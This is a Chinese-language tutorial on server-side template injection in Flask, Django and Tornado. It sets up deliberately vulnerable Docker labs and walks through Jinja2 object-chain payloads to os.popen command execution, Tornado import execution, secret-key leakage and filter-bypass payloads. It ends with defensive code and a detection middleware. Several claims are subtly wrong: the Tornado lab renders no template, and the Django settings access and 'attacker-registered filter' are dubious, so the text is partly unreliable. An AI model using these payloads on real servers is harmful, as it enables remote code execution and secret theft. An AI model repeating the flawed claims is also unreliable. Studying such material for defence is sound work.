Python Web框架SSTI漏洞深度攻防指南：从环境搭建到高级利用
在当今快速迭代的Web开发领域，模板引擎作为分离业务逻辑与展示层的关键组件，其安全性往往被开发者低估。当Flask的Jinja2、Django模板和Tornado模板遭遇精心构造的恶意输入时，服务器端模板注入（SSTI）便成为直通系统内核的致命通道。本文将带您深入三大Python框架的模板沙箱内部，揭示那些官方文档未曾警告的安全陷阱。
1. 漏洞环境科学实验场搭建
真正的安全研究始于可复现的环境。我们摒弃简单的单文件Demo，采用Docker构建隔离的靶场系统，确保实验过程不影响宿主环境。
1.1 Flask/Jinja2漏洞环境
创建flask-vuln/Dockerfile：
FROM python:3.8-slim RUN pip install flask==2.0.1 COPY app.py /app/ WORKDIR /app EXPOSE 5000 CMD ["flask", "run", "--host=0.0.0.0"]配套的漏洞代码app.py：
from flask import Flask, request, render_template_string app = Flask(__name__) @app.route('/vuln') def vulnerable(): name = request.args.get('name', 'Guest') template = f"<h1>Hello {name}!</h1>" return render_template_string(template) if __name__ == '__main__': app.run()启动命令：
docker build -t flask-ssti . docker run -dp 5000:5000 flask-ssti1.2 Django漏洞环境
django-vuln/Dockerfile配置：
FROM python:3.8 RUN pip install django==3.2 COPY project /app WORKDIR /app EXPOSE 8000 CMD ["python", "manage.py", "runserver", "0.0.0.0:8000"]关键漏洞视图代码：
# views.py from django.shortcuts import render from django.template import Template, Context def vuln_view(request): user_input = request.GET.get('q', '') t = Template("Search result for: " + user_input) return HttpResponse(t.render(Context({})))1.3 Tornado漏洞环境
Tornado的异步特性需要特殊处理，tornado-vuln/app.py：
import tornado.ioloop import tornado.web class MainHandler(tornado.web.RequestHandler): def get(self): name = self.get_argument('name', 'Anonymous') self.write(f"Welcome {name}!") def make_app(): return tornado.web.Application([ (r"/", MainHandler), ]) if __name__ == "__main__": app = make_app() app.listen(8888) tornado.ioloop.IOLoop.current().start()2. 框架模板引擎特性深度对比
不同框架的模板语法差异就像方言，理解这些差异是构造有效Payload的前提。
2.1 语法元素对照表
| 特性 | Jinja2 (Flask) | Django模板 | Tornado模板 |
|---|---|---|---|
| 变量输出 | {{变量}} | {{变量}} | {{变量}} |
| 逻辑块 | {% if %} | {% if %} | {% if %} |
| 注释 | {# 注释 #} | {# 注释 #} | {# 注释 #} |
| 过滤器 | `{{ var | `{{ var | `{{ var |
| 安全输出 | `{{ var | `{{ var | 自动HTML转义 |
| 内置函数访问 | 受限沙箱环境 | 严格限制 | 相对宽松 |
2.2 危险内置对象分析
Flask/Jinja2的危险对象：
config.__class__.__init__.__globals__ # 访问全局命名空间 request.__class__.__mro__[1].__subclasses__() # 获取子类链 lipsum.__globals__['os'].system('id') # 直接调用系统命令Django的特殊访问方式：
{{ settings.SECRET_KEY }} # 泄露密钥 {{ request.GET.dict }} # 访问请求对象Tornado的突破点：
handler.settings['cookie_secret'] # 获取加密密钥 handler.request.connection.context.key # SSL上下文3. 漏洞利用链实战演示
3.1 Flask/Jinja2完整利用链
步骤1：检测漏洞存在
http://localhost:5000/vuln?name={{7*7}}看到返回"Hello 49!"确认漏洞
步骤2：探索对象继承链
{{ ''.__class__.__mro__[1].__subclasses__() }}在返回的200+个子类中寻找危险类
步骤3：定位os模块
{{ ''.__class__.__mro__[1].__subclasses__()[133].__init__.__globals__ }}遍历直到找到含os模块的类
步骤4：执行系统命令
{{ ''.__class__.__mro__[1].__subclasses__()[133].__init__.__globals__['os'].popen('id').read() }}3.2 Django特殊利用技巧
Django的模板沙箱较为严格，但仍有突破方法：
方法1：利用settings泄露
{% debug %} # 开启DEBUG模式时查看完整环境 {{ settings.SECRET_KEY }} # 直接获取密钥方法2：通过注册过滤器
# 攻击者注册自定义过滤器 @register.filter def exploit(value): import os return os.popen(value).read() # 模板中使用 {{ 'id'|exploit }}3.3 Tornado的非常规突破
Tornado模板默认自动转义，但可通过以下方式绕过：
利用原生Python表达式：
{% import os %} {{ os.popen('id').read() }} # 或通过handler对象 {{ handler.application.settings }}4. 高级绕过技术与防御策略
4.1 WAF绕过实战手册
场景1：过滤了{{}}符号
{% with a=request.args.b %}{% print a %}{% endwith %}场景2：禁止下划线
{{ ''|attr('__class__') }} {{ ''['\x5f\x5fclass\x5f\x5f'] }}场景3：数字被过滤
{% set x='aaaaa'|length %}{{ ''.__class__.__mro__[x] }}4.2 企业级防御方案
代码层防护：
# Flask安全渲染示例 from markupsafe import escape render_template_string(escape(user_input)) # Django安全实践 Template("Hello {{ name }}").render(Context({"name": user_input}))架构层防护：
- 模板引擎运行在受限容器中
- 实施严格的CSP策略
- 关键操作使用二次确认机制
监控方案：
# 检测模板注入尝试的中间件 class SSTIMiddleware: def __init__(self, app): self.app = app self.patterns = [ r'\{\{.*__.*\}\}', r'\{%.*__.*%\}' ] def __call__(self, environ, start_response): query = environ.get('QUERY_STRING', '') if any(re.search(p, query) for p in self.patterns): return self.block_response(start_response) return self.app(environ, start_response)在云原生环境中，可以考虑使用服务网格的WAF插件实现统一防护。对于高敏感系统，建议定期进行红蓝对抗演练，使用自动化工具扫描模板注入点。记住，模板引擎的安全不仅关乎输入过滤，更涉及整个应用架构的信任边界设计。
